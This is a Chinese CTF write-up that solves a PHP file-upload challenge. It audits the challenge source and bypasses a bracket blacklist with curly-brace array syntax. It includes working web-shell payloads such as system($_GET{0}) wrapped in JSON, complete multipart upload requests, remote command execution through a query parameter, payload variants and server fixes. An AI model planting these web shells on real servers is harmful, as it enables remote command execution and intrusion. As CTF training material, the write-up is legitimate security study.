CTF 文件上传漏洞详解|PHP JSON 校验上传绕过全过程

CTF 文件上传漏洞详解|PHP JSON 校验上传绕过全过程

一、前言

最近做一道 Pediy 平台的 CTF 文件上传题,源码审计发现题目采用 JSON 文件内容校验 + 黑名单字符过滤 的双重限制,初看防护严密,但黑名单过滤存在字符覆盖不全的问题。

利用黑名单未覆盖的特殊语法(如花括号 {} 取参),可将 PHP 一句话木马直接写入 data 字段值,结合后端无后缀拦截,直接上传拿到 Webshell。

本文完整记录源码审计 → 漏洞分析 → Payload 构造 → 上传利用全流程。


二、题目源码

访问目标地址直接输出源码,完整代码如下:

php 复制代码
<?php
if (isset($_FILES['file'])) {
    $data = file_get_contents($_FILES['file']['tmp_name']);
    $arr = json_decode($data, true, 2);
    if (json_last_error() != JSON_ERROR_NONE) {
        echo "JsonErr";
        exit;
    }
    if (count($arr) != 1) {
        echo "DataErr";
        exit;
    }
    if (strlen($arr['data']) > 45) {
        echo "Long";
        exit;
    }
    if (preg_match("/[\[\]'^=\.;`]/", $arr['data'])) {
        echo "no";
        exit;
    }
    $name = time();
    $filename = $_FILES['file']['name'];
    $ext = strrchr($filename, '.');
    echo "upload/" . $name . $ext;
    move_uploaded_file($_FILES['file']['tmp_name'], "upload/" . $name . $ext);
} else {
    highlight_file(__FILE__);
}
?>

三、逐行审计,梳理所有限制条件

1. 文件整体要求:必须是合法 JSON

  • 读取上传临时文件全部内容,使用 json_decode 解析,最大递归深度限制为 2
  • JSON 解析失败直接输出 JsonErr 终止程序;
  • JSON 解析后 count($arr) 必须等于 1 ,否则输出 DataErr

⚠️ 这里 count($arr) 作用于 json_decode($data, true) 返回的数组。对 JSON 对象 {"data":"..."} 来说,返回的是关联数组 ["data" => "..."]count 统计键的个数为 1,满足条件。

2. data 字段多重过滤

后端提取 JSON 中 data 键对应的值做三层校验:

校验项 条件 触发报错
长度限制 strlen($arr['data']) > 45 Long
黑名单字符 正则 /[\[\]'^=\.;]/` 匹配 no

黑名单字符一览:

复制代码
[  ]  '  ^  =  .  ;  `

⚠️ 关键点 :花括号 {}、圆括号 ()、美元符 $、下划线 _、大于号 >、小于号 < 均不在黑名单内。这意味着可以构造出合法的 PHP 代码。

3. 文件后缀存储逻辑

php 复制代码
$ext = strrchr($filename, '.');
  • strrchr 会截取文件名最后一个 . 之后的全部字符作为后缀;
  • 后端没有任何后缀拦截 ,文件名携带 .php 即可生成可执行 PHP 脚本。

四、漏洞利用思路

绕过核心思路

代码过滤了 data 字段中的方括号 [],但未过滤花括号 {} 。PHP 中 $_GET{0} 等价于 $_GET[0],花括号语法可完美绕过正则黑名单。

直接构造一句话木马 <?php system($_GET{0})?>

  • system --- 直接执行系统命令,无需写 eval
  • $_GET{0} --- 花括号取参,绕过 [] 黑名单;
  • .;'^、````` 等黑名单字符。

可用 JSON Payload

json 复制代码
{"data":"<?php system($_GET{0})?>"}

校验点核对:

校验项 计算结果 结果
count($arr) == 1 1 个键,count = 1 ✅ 无 DataErr
strlen($arr['data']) > 45 长度 26 < 45 ✅ 无 Long
黑名单字符检测 [ ] ' ^ = . ;`` 等字符 ✅ 无 no
JSON 格式 标准合法对象,深度 1 ✅ 无 JsonErr

五、上传数据包构造

1. 文件准备

新建文件,填入下方 JSON 内容;文件名为 shell.php(关键:后缀为 php,后端保留后缀存储)。

json 复制代码
{"data":"<?php system($_GET{0})?>"}

2. HTTP 上传请求包

http 复制代码
POST / HTTP/1.1
Host: 8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/
Content-Type: multipart/form-data; boundary=----boundary123456

------boundary123456
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/json

{"data":"<?php system($_GET{0})?>"}
------boundary123456--

3. 上传成功回显

请求发送后页面会返回文件存储路径,示例:

复制代码
upload/1782886123.php

六、Webshell 利用

访问返回的上传路径,通过 GET 参数 0 执行任意系统命令:

复制代码
http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/upload/1782886123.php?0=cat /flag

页面会直接输出 flag 内容,完成解题。

PHP 中 system($_GET{0}) 将参数 0 的值作为系统命令执行,无需 eval、无需分号。


七、更多可用 Payload 变种

除了核心 Payload,还可以利用未被黑名单覆盖的字符构造其他变种:

变种 1:使用 exec 函数

json 复制代码
{"data":"<?php exec($_GET{0})?>"}

变种 2:使用 passthru 函数

json 复制代码
{"data":"<?php passthru($_GET{0})?>"}

变种 3:短标签写法

json 复制代码
{"data":"<?=system($_GET{0})?>"}

<?= 是 PHP 短标签,等价于 <?php echo,配合 system 输出命令结果。

变种 4:无闭合标签写法(单文件无需 ?>

json 复制代码
{"data":"<?php system($_GET{0})"}

变种 5:如果未来补了 {},可用字符串花括号替代

PHP 中 ${_GET}{0}$_GET[0] 如果 [] 被禁则不可用,但花括号没被禁时 $_GET{0} 就是最简洁的方案。


八、黑名单字符绕过分析

正则黑名单

复制代码
[\[\]'^=\.;`]
被禁字符 绕过方案
[ ] 改用花括号 { } 取参,如 $_GET{0}
' PHP 中函数名、超全局变量名不加引号,用 $_GET 而非 $_GET['key']
; 语句末尾的 ?> 隐式包含分号效果;单条语句也可省略
= 不使用赋值操作,直接传参执行
. 不使用字符串拼接,避免出现 .
^ ````` XOR 编码/反引号执行均被禁,但可用花括号+system 直接绕过,无需这些技巧

PHP 花括号语法说明

PHP 中访问数组元素支持两种语法:

php 复制代码
$_GET[0]    // 方括号,被黑名单拦截 ❌
$_GET{0}    // 花括号,同样有效,未被黑名单覆盖 ✅

这是本题最核心的绕过技巧。


九、漏洞总结与修复建议

1. 漏洞成因

问题 说明
🚫 黑名单覆盖不全 花括号 {}$ 等关键 PHP 语法字符未被过滤
🚫 无文件后缀拦截 未禁止 php、phtml 等脚本后缀
🚫 单次校验 仅上传时校验,存储后无二次内容检测
🚫 原样保存 直接保存用户上传文件,未清洗恶意代码

2. 服务端修复方案

  • 黑名单补全 :增加 ${}()<>? 等 PHP 语法字符过滤;
  • 白名单限制 文件后缀,仅允许 jpg/png/txt 等静态文件;
  • 重命名后缀 上传文件强制改为静态格式;
  • 二次检测 服务端检测文件内容,过滤 <?php 等脚本标签;
  • 禁用执行权限 限制上传目录脚本执行权限,关闭 upload 目录 PHP 解析。

十、文末小结

本题属于典型黑名单式文件上传防护 ,虽然过滤了常见的方括号和敏感符号,但 花括号取参语法 $_GET{0} 完美绕过了正则检测,配合 system() 函数直接执行系统命令。

💡 CTF 经验总结 :遇到黑名单过滤的题目,除了常规思路(键名绕过、嵌套绕过),逐字符分析黑名单正则往往能找到最直接的绕过路径------本题只需一个合法的 JSON 对象,连数组包裹都不需要,最简单就是最优雅的。


附录:HackBar 完整实操步骤

方案一:浏览器上传抓包 → HackBar 重放(新手首选)

Step 1:打开目标页面

浏览器访问地址,页面会打印 PHP 源码,确认题目正常访问。

Step 2:构造本地上传文件

新建文本文档,写入下面 JSON 内容,重命名为 shell.php

json 复制代码
{"data":"<?php system($_GET{0})?>"}
Step 3:抓普通上传数据包
  1. F12 打开开发者工具,网络面板勾选「保留日志」;
  2. 写一个简单 HTML 上传表单,本地打开:
html 复制代码
<form action="http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit">
</form>
  1. 选择 shell.php 提交上传;
  2. 网络面板找到 POST 请求,右键 → Copy Request → Copy to HackBar。
Step 4:HackBar 发送数据包拿上传路径
  1. 切换到 HackBar → POST 模式;
  2. 粘贴复制好的完整 multipart 数据包,无需修改;
  3. 点击 Execute 执行;
  4. 响应页面返回上传路径,示例:upload/1789000000.php
Step 5:HackBar 执行命令读取 flag
  1. HackBar 切换为 GET 请求;

  2. URL 填入上传后的地址,拼接 0 参数:

    http://8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/upload/1789000000.php?0=cat /flag

  3. Execute,页面直接输出 flag。

方案二:HackBar 手动构造 multipart 上传包

  1. HackBar 切换 POST,URL 填目标地址;
  2. 切换到 Raw 模式,粘贴完整数据包:
http 复制代码
POST / HTTP/1.1
Host: 8963317b-5f7c-4e1d-a100-4829028596bd.node.pediy.com:81/
Content-Type: multipart/form-data; boundary=----abc123

----abc123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/json

{"data":"<?php system($_GET{0})?>"}
----abc123--
  1. 点击 Execute 发送,获取 upload 路径;
  2. 切换 GET 访问上传文件执行命令。

常见踩坑解决

错误信息 原因 解决方案
JsonErr JSON 格式错误 / 递归深度超过 2 层 检查括号引号配对,确保深度 ≤ 2
DataErr count($arr) 不等于 1 JSON 对象只有 1 个键时才通过,别多加字段
no data 值包含黑名单字符 检查 ` ' ^ = . ; `` 是否出现在 payload 中
Long data 字符串超过 45 字符 本文 Payload 仅 26 字符,不应报此错
上传成功但无法执行 文件名后缀不是 .php 确认文件名后缀为 php
返回源码无上传路径 HackBar 未用 Raw 模式 普通 POST 无法识别文件参数,走了 else 分支
访问页面显示 JSON 原文 服务器没解析 PHP 检查是否上传了 .txt 而非 .php

终极无报错 Payload 参考

首选 Payload(最简洁)

json 复制代码
{"data":"<?php system($_GET{0})?>"}

最小化测试 Payload(先验证上传链路)

json 复制代码
{"data":"helloworld"}

若最小化测试上传成功(返回 upload/xxx.php),说明传输、JSON 格式全部正常;再用首选 Payload 即可拿 Shell。